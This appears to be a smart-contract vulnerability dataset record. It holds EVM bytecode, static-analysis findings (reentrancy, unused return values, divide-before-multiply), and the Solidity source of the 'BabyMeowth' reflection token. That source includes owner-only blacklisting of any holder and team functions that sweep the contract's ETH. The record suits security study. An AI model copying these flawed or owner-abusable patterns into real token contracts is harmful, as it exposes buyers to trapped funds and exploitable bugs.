0087803b158015610a2157600080fd5b505af1158015610a35573d6000803e3d6000fd5b505050505b600f805474ff0000000000000000000000000000000000000000191660a060020a179055565b60008054600160a060020a03163314610a7857600080fd5b50600255600190565b60008054600160a060020a03163314610a9957600080fd5b5060048290556003805460ff191682151517905560015b92915050565b60008054600160a060020a03163314610ace57600080fd5b600e54604080517ff2fde38b000000000000000000000000000000000000000000000000000000008152600160a060020a0385811660048301529151919092169163f2fde38b9160248083019260209291908290030181600087803b158015610b3657600080fd5b505af1158015610b4a573d6000803e3d6000fd5b505050506040513d6020811015610b6057600080fd5b505192915050565b60035460ff1681565b60065481565b600054600160a060020a03163314610b8e57600080fd5b600a54600010610b9d57600080fd5b600e54600a546040805160e060020a6340c10f19028152600160a060020a0385811660048301526024820193909352905191909216916340c10f199160448083019260209291908290030181600087803b158015610bfa57600080fd5b505af1158015610c0e573d6000803e3d6000fd5b505050506040513d6020811015610c2457600080fd5b50506000600a5550565b600054600160a060020a03163314610c4557600080fd5b60005460a060020a900460ff161515610c5d57600080fd5b6000805474ff0000000000000000000000000000000000000000191681556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b339190a1565b60055481565b600160a060020a0381166000908152600b60205260408120548110610cce57600080fd5b600f54604080517f26b797b0000000000000000000000000000000000000000000000000000000008152600160a060020a038581166004830152915191909216916326b797b09160248083019260209291908290030181600087803b158015610d3657600080fd5b505af1158015610d4a573d6000803e3d6000fd5b505050506040513d6020811015610d6057600080fd5b50511515610d6d57600080fd5b60025442118015610d8b57506a021165458500521280000060055410155b1515610d9657600080fd5b600e54600160a060020a038381166000818152600b6020908152604080832054815160e060020a6340c10f19028152600481019590955260248501525193909416936340c10f1993604480850194929391928390030190829087803b158015610dfe57600080fd5b505af1158015610e12573d6000803e3d6000fd5b505050506040513d6020811015610e2857600080fd5b50511515610e3257fe5b50600160a060020a03166000908152600b6020526040812055600190565b60035460009060ff1615610e675750600454610e99565b610e96610154610e916064620151806001544203811515610e8457fe5b04600402610154036116a1565b6116b9565b90505b90565b60005460a060020a900460ff1681565b600054600160a060020a03163314610ec357600080fd5b600160a060020a0382161515610ed857600080fd5b6a1cf389cd46047d03000000610ef060055483611656565b1115610efb57600080fd5b610f0760055482611656565b600555600160a060020a0382166000908152600b6020526040902054610f33908263ffffffff61165616565b600160a060020a0383166000818152600b6020908152604080832094909455835191825281018490528251919283927f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad189281900390910190a35050565b600054600160a060020a03163314610fa757600080fd5b6005546a02116545850052128000001161102757600d60009054906101000a9004600160a060020a0316600160a060020a031663a69df4b56040518163ffffffff1660e060020a028152600401600060405180830381600087803b15801561100e57600080fd5b505af1158015611022573d6000803e3d6000fd5b505050505b565b60045481565b600b6020526000908152604090205481565b600c6020526000908152604090205481565b6101f481565b60095481565b600054600160a060020a0316331461107657600080fd5b60005460a060020a900460ff161561108d57600080fd5b6000805474ff0000000000000000000000000000000000000000191660a060020a1781556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff6259190a1565b60075481565b6a021165458500521280000081565b600f54600160a060020a031681565b600a5481565b600054600160a060020a0316331461111b57600080fd5b60085460001061112a57600080fd5b600e546008546040805160e060020a6340c10f19028152600160a060020a0385811660048301526024820193909352905191909216916340c10f199160448083019260209291908290030181600087803b15801561118757600080fd5b505af115801561119b573d6000803e3d6000fd5b505050506040513d60208110156111b157600080fd5b5050600060085550565b60025481565b6000610e9633610caa565b600f5460a060020a900460ff1615156111e457600080fd5b6005546a0211654585005212800000116111fd57600080fd5b600d54604080517ffa89401a0000000000000000000000000000000000000000000000000000000081523360048201529051600160a060020a039092169163fa89401a9160248082019260009290919082900301818387803b15801561100e57600080fd5b6a1cf389cd46047d0300000081565b600054600160a060020a0316331461128857600080fd5b60075460001061129757600080fd5b600e546007546040805160e060020a6340c10f19028152600160a060020a0385811660048301526024820193909352905191909216916340c10f199160448083019260209291908290030181600087803b1580156112f457600080fd5b505af1158015611308573d6000803e3d6000fd5b505050506040513d602081101561131e57600080fd5b5050600060075550565b600054600160a060020a0316331461133f57600080fd5b600160a060020a038216151561135457600080fd5b6a1cf389cd46047d0300000061136c60055483611656565b111561137757600080fd5b61138360055482611656565b600555600e546040805160e060020a6340c10f19028152600160a060020a03858116600483015260248201859052915191909216916340c10f199160448083019260209291908290030181600087803b1580156113df57600080fd5b505af11580156113f3573d6000803e3d6000fd5b505050506040513d602081101561140957600080fd5b5051151561141357fe5b5050565b600054600160a060020a0316331461142e57600080fd5b60065460001061143d57600080fd5b600e546006546040805160e060020a6340c10f19028152600160a060020a0385811660048301526024820193909352905191909216916340c10f199160448083019260209291908290030181600087803b15801561149a57600080fd5b505af11580156114ae573d6000803e3d6000fd5b505050506040513d60208110156114c457600080fd5b5050600060065550565b600254421190565b60008054600160a060020a031633146114ee57600080fd5b600160a060020a038216151561150357600080fd5b60008054604051600160a060020a03808616939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35060008054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff199091161790556001919050565b600054600160a060020a0316331461158557600080fd5b600d54604080517ff3fef3a3000000000000000000000000000000000000000000000000000000008152600160a060020a038581166004830152602482018590529151919092169163f3fef3a391604480830192600092919082900301818387803b1580156115f357600080fd5b505af1158015611607573d6000803e3d6000fd5b505050505050565b600e54600160a060020a031681565b6000806000426001541115801561163757506002544211155b91505066b1a2bc2ec5000034101581801561164f5750805b9250505090565b81810182811015610ab057fe5b600082151561167457506000610ab0565b5081810281838281151561168457fe5b0414610ab057fe5b6000818381151561169957fe5b049392505050565b60008183116116b057816116b2565b825b9392505050565b60008183106116b057816116b25600a165627a7a72305820e6092b65c6d7f4e63f463feaff0563f7a0dc8afcfc3bda196b63c38a159c7b1c0029
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
10,205
0x2b01fde40e5ea2cb6ef12f806b0484e78db6e260
/** *Submitted for verification at Etherscan.io on 2021-08-19 */ /** *Submitted for verification at Etherscan.io on 2021-08-18 * Meow~~~ T.me/BabyMeowthToken www.babymeowth.com */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract BabyMeowth is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "BabyMeowth T.me/BabyMeowthToken"; string private constant _symbol = "BabyMeowth"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 5; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 5; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (10 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 300000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues( tAmount, _taxFee, _teamFee ); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues( tAmount, tFee, tTeam, currentRate ); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ed1565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906129f4565b61045e565b6040516101789190612eb6565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613073565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129a5565b61048b565b6040516101e09190612eb6565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612917565b610564565b005b34801561021e57600080fd5b50610227610654565b60405161023491906130e8565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a71565b61065d565b005b34801561027257600080fd5b5061027b61070f565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612917565b610781565b6040516102b19190613073565b60405180910390f35b3480156102c657600080fd5b506102cf6107d2565b005b3480156102dd57600080fd5b506102e6610925565b6040516102f39190612de8565b60405180910390f35b34801561030857600080fd5b5061031161094e565b60405161031e9190612ed1565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906129f4565b61098b565b60405161035b9190612eb6565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a30565b6109a9565b005b34801561039957600080fd5b506103a2610af9565b005b3480156103b057600080fd5b506103b9610b73565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ac3565b6110cc565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612969565b611213565b6040516104189190613073565b60405180910390f35b60606040518060400160405280601f81526020017f426162794d656f77746820542e6d652f426162794d656f777468546f6b656e00815250905090565b600061047261046b61129a565b84846112a2565b6001905092915050565b6000662386f26fc10000905090565b600061049884848461146d565b610559846104a461129a565b610554856040518060600160405280602881526020016137ac60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050a61129a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c2c9092919063ffffffff16565b6112a2565b600190509392505050565b61056c61129a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f090612fb3565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066561129a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e990612fb3565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661075061129a565b73ffffffffffffffffffffffffffffffffffffffff161461077057600080fd5b600047905061077e81611c90565b50565b60006107cb600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8b565b9050919050565b6107da61129a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610867576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085e90612fb3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f426162794d656f77746800000000000000000000000000000000000000000000815250905090565b600061099f61099861129a565b848461146d565b6001905092915050565b6109b161129a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3590612fb3565b60405180910390fd5b60005b8151811015610af5576001600a6000848481518110610a89577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aed90613389565b915050610a41565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3a61129a565b73ffffffffffffffffffffffffffffffffffffffff1614610b5a57600080fd5b6000610b6530610781565b9050610b7081611df9565b50565b610b7b61129a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bff90612fb3565b60405180910390fd5b600f60149054906101000a900460ff1615610c58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4f90613033565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ce630600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16662386f26fc100006112a2565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d2c57600080fd5b505afa158015610d40573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d649190612940565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dc657600080fd5b505afa158015610dda573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dfe9190612940565b6040518363ffffffff1660e01b8152600401610e1b929190612e03565b602060405180830381600087803b158015610e3557600080fd5b505af1158015610e49573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e6d9190612940565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ef630610781565b600080610f01610925565b426040518863ffffffff1660e01b8152600401610f2396959493929190612e55565b6060604051808303818588803b158015610f3c57600080fd5b505af1158015610f50573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f759190612aec565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550660110d9316ec0006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611076929190612e2c565b602060405180830381600087803b15801561109057600080fd5b505af11580156110a4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110c89190612a9a565b5050565b6110d461129a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611161576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115890612fb3565b60405180910390fd5b600081116111a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119b90612f73565b60405180910390fd5b6111d160646111c383662386f26fc100006120f390919063ffffffff16565b61216e90919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516112089190613073565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611312576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130990613013565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611382576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137990612f33565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114609190613073565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d490612ff3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561154d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154490612ef3565b60405180910390fd5b60008111611590576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158790612fd3565b60405180910390fd5b611598610925565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160657506115d6610925565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b6957600f60179054906101000a900460ff1615611839573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168857503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e25750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561173c5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183857600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661178261129a565b73ffffffffffffffffffffffffffffffffffffffff1614806117f85750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e061129a565b73ffffffffffffffffffffffffffffffffffffffff16145b611837576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182e90613053565b60405180910390fd5b5b5b60105481111561184857600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118ec5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118f557600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a05750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119f65750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a0e5750600f60179054906101000a900460ff165b15611aaf5742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a5e57600080fd5b600a42611a6b91906131a9565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611aba30610781565b9050600f60159054906101000a900460ff16158015611b275750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b3f5750600f60169054906101000a900460ff165b15611b6757611b4d81611df9565b60004790506000811115611b6557611b6447611c90565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c105750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c1a57600090505b611c26848484846121b8565b50505050565b6000838311158290611c74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c6b9190612ed1565